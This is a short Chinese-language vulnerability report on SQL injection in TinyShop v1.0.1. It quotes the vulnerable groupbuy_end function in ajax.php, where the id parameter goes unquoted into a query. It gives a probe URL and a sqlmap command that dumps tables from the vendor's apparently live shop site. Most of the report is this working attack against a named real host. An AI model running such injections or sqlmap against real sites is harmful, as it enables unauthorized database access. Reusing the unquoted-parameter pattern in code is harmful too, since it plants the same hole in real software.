TinyShop v1.0.1 SQL注入
/protected/controllers/ajax.php
//团购结束更新 public function groupbuy_end(){ $id = Req::args('id'); //取得id if($id){ $item = $this->model->table("groupbuy")->where("id=$id")->find(); //无视GPC,直接带入查询 $end_diff = time()-strtotime($item['end_time']); if($end_diff>0){ $this->model->table("groupbuy")->where("id=$id")->data(array('is_end'=>1))->update(); } } }
$id无单引号保护,因此无视GPC
何况官网没开GPC(框架里自动stripslashes先,开了也没用)
http://shop.tinyrise.com/ajax/groupbuy_end?id=4%27
C:\Users\Administrator>sqlmap.py -u "http://shop.tinyrise.com/ajax/groupbuy_end?id=4" -p id --tables --delay=12